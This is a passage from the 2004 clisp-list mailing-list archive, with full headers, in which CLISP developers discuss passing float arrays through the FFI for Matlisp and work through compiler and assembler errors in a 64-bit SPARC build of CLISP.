we have at work did something reasonable with 64-bit code. Ray From sds@gnu.org Tue May 11 07:41:06 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNYRN-0000PT-Aa for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 07:41:05 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BNYRN-0007F1-3B for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 07:41:05 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by externalmx-1.sourceforge.net with esmtp (Exim 4.30) id 1BNf6V-0000nI-59 for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 14:47:59 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4BEdpck028892; Tue, 11 May 2004 10:39:51 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0330BEAB@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Tue, 11 May 2004 10:50:03 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0330BEAB@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.6 (/) X-Spam-Report: Spam detection software, running on the system "externalmx-1.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or block similar future email. If you have any questions, see the administrator of that system for details. Content preview: > * Hoehle, Joerg-Cyril [2004-05-11 10:50:03 +0200]: > > Goffioul Michael wrote: >>> [...] Matlisp does. However, >>> it does require your Lisp to have a specialized array with >>> double-float elements that are arranged in one contiguous area, >>I don't know(think) that direct memory mapping is possible in CLISP. >>It uses copy to send/retrieve data to/from FFI functions. > > The FFI is not the problem if you want to interface to some foreign > code. You can always write modules, which, as an other article of mine > explained, feature full access to Lisp objects. One could build > modules even --without-dynamic-ffi :-) but few people know about this, > or maybe very few people value this possibility. [...] Content analysis details: (0.6 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.6 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: AW: FFI with complex numbers? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 11 07:42:01 2004 X-Original-Date: Tue, 11 May 2004 10:39:51 -0400 > * Hoehle, Joerg-Cyril [2004-05-11 10:50:03 +0200]: > > Goffioul Michael wrote: >>> [...] Matlisp does. However, >>> it does require your Lisp to have a specialized array with >>> double-float elements that are arranged in one contiguous area, >>I don't know(think) that direct memory mapping is possible in CLISP. >>It uses copy to send/retrieve data to/from FFI functions. > > The FFI is not the problem if you want to interface to some foreign > code. You can always write modules, which, as an other article of mine > explained, feature full access to Lisp objects. One could build > modules even --without-dynamic-ffi :-) but few people know about this, > or maybe very few people value this possibility. Moreover, many modules bundled with CLISP do not depend on FFI: regexp, syscalls, pcre, berkeley-db, dirkey, queens, rawsock. > The problem IMHO is as follows: > > Sam Steingold wrote: >>You are right, CLISP does not have specialized float arrays. >>It would be relatively easy to add them in the NO_TYPECODES model >>(mostly used on 32-bit processors). > > So you cannot have Matlist write the non-existant CLISP FP arrays :-) yes you can. Just allocate (UNSIGNED-BYTE 32) arrays of double size (for DOUBLE-FLOAT) or required size (for SINGLE-FLOAT) and pass the data vectors to the FORTRAN functions. -- Sam Steingold (http://www.podval.org/~sds) running w2k Daddy, why doesn't this magnet pick up this floppy disk? From sds@gnu.org Tue May 11 07:58:47 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNYiU-0004ME-Pk for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 07:58:46 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BNYiU-0007qx-9P for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 07:58:46 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by externalmx-1.sourceforge.net with esmtp (Exim 4.30) id 1BNecm-0007bc-NL for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 14:17:16 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4BE9Ick020172; Tue, 11 May 2004 10:09:18 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200405111431.35923.bruno@clisp.org> (Bruno Haible's message of "Tue, 11 May 2004 14:31:35 +0200") References: <200405101635.36961.bruno@clisp.org> <200405111431.35923.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam detection software, running on the system "externalmx-1.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or block similar future email. If you have any questions, see the administrator of that system for details. Content preview: > * Bruno Haible [2004-05-11 14:31:35 +0200]: > >> gcc -m64 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type >> -Wno-s ign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT >> -DNO_SIGSEGV -I. -c spvw.c >> In file included from spvw.d:24: >> lispbibl.d:2580:7: #error "oint_addr_mask doesn't cover CODE_ADDRESS_RANGE !!" >> lispbibl.d:2583:7: #error "oint_addr_mask doesn't cover MALLOC_ADDRESS_RANGE !!" > > Then adjust the oint_type_len etc. definitions (lispbibl.d:2405..2431) > to match the CODE_ADDRESS_RANGE and MALLOC_ADDRESS_RANGE that was found. [...] Content analysis details: (0.0 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *** - No more room for LISP objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 11 07:59:10 2004 X-Original-Date: Tue, 11 May 2004 10:09:17 -0400 > * Bruno Haible [2004-05-11 14:31:35 +0200]: > >> gcc -m64 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type >> -Wno-s ign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT >> -DNO_SIGSEGV -I. -c spvw.c >> In file included from spvw.d:24: >> lispbibl.d:2580:7: #error "oint_addr_mask doesn't cover CODE_ADDRESS_RANGE !!" >> lispbibl.d:2583:7: #error "oint_addr_mask doesn't cover MALLOC_ADDRESS_RANGE !!" > > Then adjust the oint_type_len etc. definitions (lispbibl.d:2405..2431) > to match the CODE_ADDRESS_RANGE and MALLOC_ADDRESS_RANGE that was found. /* address range of program code (text+data+bss) */ #define CODE_ADDRESS_RANGE 0x0000000100000000UL /* address range of malloc() memory */ #define MALLOC_ADDRESS_RANGE 0x0000000100000000UL how do I adjust oint_type_len? I added -DNO_SINGLEMAP to CFLAGS and it is building as I write. 1. what will this cost me? it appears that I will be able to use 48 bits for address instead of 32, what are the drawbacks? 2. I get a LOT of warnings like stream.d: In function `sec_usec': stream.d:13575: warning: left shift count is negative stream.d:13577: warning: left shift count is negative stream.d: In function `parse_sock_list': stream.d:13834: warning: left shift count is negative stream.d:13839: warning: left shift count is negative is this harmless? 3. It finally failed: gcc -m64 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -I. -DNO_SINGLEMAP -c io.c In file included from io.d:9: lispbibl.d:7328: warning: volatile register variables don't work as you might wish In file included from io.d:9: lispbibl.d: In function `check_list': lispbibl.d:12147: warning: left shift count is negative lispbibl.d: In function `check_pos_integer': lispbibl.d:12255: warning: left shift count is negative lispbibl.d: In function `check_sint8': lispbibl.d:12461: warning: left shift count is negative lispbibl.d: In function `check_sint16': lispbibl.d:12477: warning: left shift count is negative lispbibl.d: In function `check_sint32': lispbibl.d:12493: warning: left shift count is negative lispbibl.d: In function `check_sint64': lispbibl.d:12509: warning: left shift count is negative lispbibl.d: In function `check_sint': lispbibl.d:12525: warning: left shift count is negative lispbibl.d: In function `check_slong': lispbibl.d:12541: warning: left shift count is negative io.d: In function `make_references': io.d:2187: warning: left shift count is negative io.d: In function `C_complex_reader': io.d:3056: warning: left shift count is negative io.d:3059: warning: left shift count is negative io.d: In function `C_bit_vector_reader': io.d:3226: warning: `ch' might be used uninitialized in this function io.d: In function `C_vector_reader': io.d:3310: warning: `el' might be used uninitialized in this function io.d: In function `C_array_reader': io.d:3364: warning: left shift count is negative io.d:3366: warning: left shift count is negative io.d:3369: warning: left shift count is negative io.d:3371: warning: left shift count is negative io.d: In function `lookup_label': io.d:3583: warning: left shift count is negative io.d:3585: warning: left shift count is negative io.d: In function `C_label_definition_reader': io.d:3609: warning: left shift count is negative io.d: In function `C_label_reference_reader': io.d:3657: warning: left shift count is negative io.d: In function `interpret_feature': io.d:3729: warning: left shift count is negative io.d:3740: warning: left shift count is negative io.d:3753: warning: left shift count is negative io.d: In function `C_structure_reader': io.d:3882: warning: left shift count is negative io.d:3908: warning: left shift count is negative io.d:3927: warning: left shift count is negative io.d:4000: warning: left shift count is negative io.d: In function `C_closure_reader': io.d:4134: warning: left shift count is negative io.d: In function `C_ansi_pathname_reader': io.d:4271: warning: left shift count is negative io.d: In function `justify_end_fill': io.d:5745: warning: left shift count is negative io.d:5765: warning: left shift count is negative io.d: In function `justify_end_linear': io.d:5828: warning: left shift count is negative io.d:5843: warning: left shift count is negative io.d:5872: warning: left shift count is negative io.d: In function `special_list_p': io.d:7089: warning: left shift count is negative io.d:7091: warning: left shift count is negative io.d: In function `pr_real_number': io.d:7302: warning: left shift count is negative io.d:7316: warning: left shift count is negative io.d:7331: warning: left shift count is negative io.d: In function `some_printable_slots': io.d:8026: warning: left shift count is negative io.d: In function `C_ppprint_logical_block': io.d:9631: warning: left shift count is negative /usr/ccs/bin/as: "/var/tmp//ccEV4S3J.s", line 17331: error: statement syntax *** Error code 1 make: Fatal error: Command failed for target `io.o' io.s (generated by "make io.s") is here: -- Sam Steingold (http://www.podval.org/~sds) running w2k When we write programs that "learn", it turns out we do and they don't. From toy@rtp.ericsson.se Tue May 11 08:58:16 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNZe3-000194-QV for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 08:58:15 -0700 Received: from imr1.ericy.com ([198.24.6.9]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNZe3-0005CM-Ju for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 08:58:15 -0700 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i4BFw2Lc028340; Tue, 11 May 2004 10:58:07 -0500 (CDT) Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id JQWJ6FPG; Tue, 11 May 2004 10:57:43 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id i4BFvwR07551; Tue, 11 May 2004 10:58:00 -0500 (CDT) To: clisp-list@lists.sourceforge.net Cc: "Hoehle, Joerg-Cyril" Subject: Re: [clisp-list] Re: AW: FFI with complex numbers? References: <5F9130612D07074EB0A0CE7E69FD7A0330BEAB@S4DE8PSAAGS.blf.telekom.de> From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Tue, 11 May 2004 10:39:51 -0400") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 11 08:59:02 2004 X-Original-Date: Tue, 11 May 2004 11:57:58 -0400 >>>>> "Sam" == Sam Steingold writes: Sam> yes you can. Just allocate (UNSIGNED-BYTE 32) arrays of double size Sam> (for DOUBLE-FLOAT) or required size (for SINGLE-FLOAT) and pass the Sam> data vectors to the FORTRAN functions. That's not really enough. Matlisp also wants to be able to see those arrays as Lisp arrays of some sort. Well, you could have functions that takes such things and converts them back and forth, but that seems not so nice. Ray From bruno@clisp.org Tue May 11 09:30:28 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNa9E-0000GL-HH for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 09:30:28 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNa9E-0002hE-24 for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 09:30:28 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i4BGUG8o027071; Tue, 11 May 2004 18:30:16 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.11/8.12.11) with ESMTP id i4BGUAKP017746; Tue, 11 May 2004 18:30:10 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 801EF1BB79; Tue, 11 May 2004 16:22:32 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 References: <200405111431.35923.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200405111822.30754.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *** - No more room for LISP objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 11 09:31:08 2004 X-Original-Date: Tue, 11 May 2004 18:22:30 +0200 Sam wrote: > /* address range of program code (text+data+bss) */ > #define CODE_ADDRESS_RANGE 0x0000000100000000UL > /* address range of malloc() memory */ > #define MALLOC_ADDRESS_RANGE 0x0000000100000000UL > > how do I adjust oint_type_len? In this case oint_addr_len must be at least 33. You can achieve this by changing the SPARC64 specific #if defined(NO_SINGLEMAP) to #if 1 > 1. what will this cost me? it appears that I will be able to use 48 > bits for address instead of 32, what are the drawbacks? None. > 2. I get a LOT of warnings like > > stream.d:13575: warning: left shift count is negative > stream.d:13577: warning: left shift count is negative Such a build will not work. Bruno From sds@gnu.org Tue May 11 09:51:21 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNaTQ-0005eZ-Ec for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 09:51:20 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNaTP-0006fU-KQ for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 09:51:20 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4BGp4ck005352; Tue, 11 May 2004 12:51:04 -0400 (EDT) To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200405111822.30754.bruno@clisp.org> (Bruno Haible's message of "Tue, 11 May 2004 18:22:30 +0200") References: <200405111431.35923.bruno@clisp.org> <200405111822.30754.bruno@clisp.org> Mail-Followup-To: Bruno Haible , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *** - No more room for LISP objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 11 09:52:10 2004 X-Original-Date: Tue, 11 May 2004 12:51:04 -0400 > * Bruno Haible [2004-05-11 18:22:30 +0200]: > > Sam wrote: >> /* address range of program code (text+data+bss) */ >> #define CODE_ADDRESS_RANGE 0x0000000100000000UL >> /* address range of malloc() memory */ >> #define MALLOC_ADDRESS_RANGE 0x0000000100000000UL >> >> how do I adjust oint_type_len? > > In this case oint_addr_len must be at least 33. You can achieve this by > changing the SPARC64 specific > #if defined(NO_SINGLEMAP) > to > #if 1 thanks. >> 1. what will this cost me? it appears that I will be able to use 48 >> bits for address instead of 32, what are the drawbacks? > None. great! >> 2. I get a LOT of warnings like >> >> stream.d:13575: warning: left shift count is negative >> stream.d:13577: warning: left shift count is negative > > Such a build will not work. OUCH!!! what do I do?! I grabbed your change to src/arilev0.d and now io.d is compiled, but now I get gcc -m64 -I/home/sds/src/m64/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -I. -DNO_SINGLEMAP -c array.c In file included from array.d:8: lispbibl.d:7328: warning: volatile register variables don't work as you might wish In file included from array.d:8: lispbibl.d: In function `check_list': lispbibl.d:12147: warning: left shift count is negative lispbibl.d: In function `check_pos_integer': lispbibl.d:12255: warning: left shift count is negative lispbibl.d: In function `check_sint8': lispbibl.d:12461: warning: left shift count is negative lispbibl.d: In function `check_sint16': lispbibl.d:12477: warning: left shift count is negative lispbibl.d: In function `check_sint32': lispbibl.d:12493: warning: left shift count is negative lispbibl.d: In function `check_sint64': lispbibl.d:12509: warning: left shift count is negative lispbibl.d: In function `check_sint': lispbibl.d:12525: warning: left shift count is negative lispbibl.d: In function `check_slong': lispbibl.d:12541: warning: left shift count is negative array.d: In function `eltype_code': array.d:140: warning: left shift count is negative array.d: In function `test_dims': array.d:4169: warning: left shift count is negative array.d:4173: warning: left shift count is negative array.d:4183: invalid `asm': operand number missing after %-letter array.d: In function `initial_contents': array.d:4332: warning: left shift count is negative array.d:4333: warning: left shift count is negative array.d: In function `C_make_array': array.d:4599: warning: left shift count is negative array.d:4600: warning: left shift count is negative array.d: In function `reshape': array.d:4658: warning: left shift count is negative array.d: In function `C_adjust_array': array.d:4932: warning: left shift count is negative array.d:4933: warning: left shift count is negative array.d: In function `C_vector_fe_endtest': array.d:5016: warning: left shift count is negative *** Error code 1 make: Fatal error: Command failed for target `array.o' -- Sam Steingold (http://www.podval.org/~sds) running w2k Winword 6.0 UNinstall: Not enough disk space to uninstall WinWord From sds@gnu.org Tue May 11 10:39:03 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNbDa-0000Wp-Ee for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 10:39:02 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNbDY-0006mZ-Vb for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 10:39:01 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4BHcnck019552; Tue, 11 May 2004 13:38:49 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200405111822.30754.bruno@clisp.org> (Bruno Haible's message of "Tue, 11 May 2004 18:22:30 +0200") References: <200405111431.35923.bruno@clisp.org> <200405111822.30754.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *** - No more room for LISP objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 11 10:40:00 2004 X-Original-Date: Tue, 11 May 2004 13:38:49 -0400 more errors (with the most recent arilev0): gcc -m64 -I/home/sds/src/m64/include -W -Wswitch -Wcomment -Wpointer-arith -Wimp licit -Wreturn-type -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_ GETTEXT -I. -DNO_SINGLEMAP -c unixaux.c In file included from unixaux.d:7: lispbibl.d:7328: warning: volatile register variables don't work as you might wi sh In file included from unixaux.d:7: lispbibl.d: In function `check_list': lispbibl.d:12147: warning: left shift count is negative lispbibl.d: In function `check_pos_integer': lispbibl.d:12255: warning: left shift count is negative lispbibl.d: In function `check_sint8': lispbibl.d:12461: warning: left shift count is negative lispbibl.d: In function `check_sint16': lispbibl.d:12477: warning: left shift count is negative lispbibl.d: In function `check_sint32': lispbibl.d:12493: warning: left shift count is negative lispbibl.d: In function `check_sint64': lispbibl.d:12509: warning: left shift count is negative lispbibl.d: In function `check_sint': lispbibl.d:12525: warning: left shift count is negative lispbibl.d: In function `check_slong': lispbibl.d:12541: warning: left shift count is negative gcc -m64 -E arisparc64.c | grep -v '^#' > arisparc64.s gcc -m64 -I/home/sds/src/m64/include -W -Wswitch -Wcomment -Wpointer-arith -Wimp licit -Wreturn-type -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_ GETTEXT -I. -DNO_SINGLEMAP -x assembler -c arisparc64.s /usr/ccs/bin/as: "arisparc64.s", line 81: error: invalid register /usr/ccs/bin/as: "arisparc64.s", line 574: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "arisparc64.s", line 578: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "arisparc64.s", line 580: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "arisparc64.s", line 585: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "arisparc64.s", line 649: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "arisparc64.s", line 652: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "arisparc64.s", line 670: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "arisparc64.s", line 673: error: detect global register use not covered .register pseudo-op *** Error code 1 make: Fatal error: Command failed for target `arisparc64.o' -- Sam Steingold (http://www.podval.org/~sds) running w2k The only guy who got all his work done by Friday was Robinson Crusoe. From sds@gnu.org Tue May 11 10:51:15 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNbPP-0003Bx-Gn for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 10:51:15 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNbPP-0000bB-4q for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 10:51:15 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4BHp4ck023150; Tue, 11 May 2004 13:51:05 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Raymond Toy Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Raymond Toy's message of "Tue, 11 May 2004 09:57:08 -0400") References: <200405101240.04731.bruno@clisp.org> <200405101635.36961.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *** - No more room for LISP objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 11 10:52:04 2004 X-Original-Date: Tue, 11 May 2004 13:51:04 -0400 > * Raymond Toy [2004-05-11 09:57:08 -0400]: > >>>>>> "Sam" == Sam Steingold writes: > > Sam> gcc -m64 -x none -c avcall-sparc64.s -o avcall-sparc64.o > Sam> /usr/ccs/bin/as: "avcall-sparc64.s", line 2: error: .version "01.01" greater tha > Sam> n assembler version "" > > Don't know what this means. > > Sam> /usr/ccs/bin/as: "avcall-sparc64.s", line 13: error: detect global register use > Sam> not covered .register pseudo-op > > You need to add a .register pseudo-op. Something like > > .register %g2, #scratch > .register %g3, #scratch > > (This info is hard to find anywhere. I'm not 100% sure that the above > is correct.) For me, assembler is even less readable than Perl (!), so I can hardly understand what you are saying. I would deeply appreciate a patch though. > BTW, I tried to compile a "hello world" C program in 64-bit mode, a > while ago. This worked ok, but gdb 6.0 was totally useless. It > didn't understand anything so you couldn't set breakpoints, couldn't > single-step, couldn't display stack frames, etc. we have gdb 4.17... > Sun's debugger (and compiler) worked much better in this respect. > Even the ancient version 5 we have at work did something reasonable > with 64-bit code. /usr/ucb/cc: language optional software package not installed -- Sam Steingold (http://www.podval.org/~sds) running w2k This message is rot13 encrypted (twice!); reading it violates DMCA. From joseph@t-online.de Tue May 11 14:36:20 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNevE-0002KD-57 for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 14:36:20 -0700 Received: from 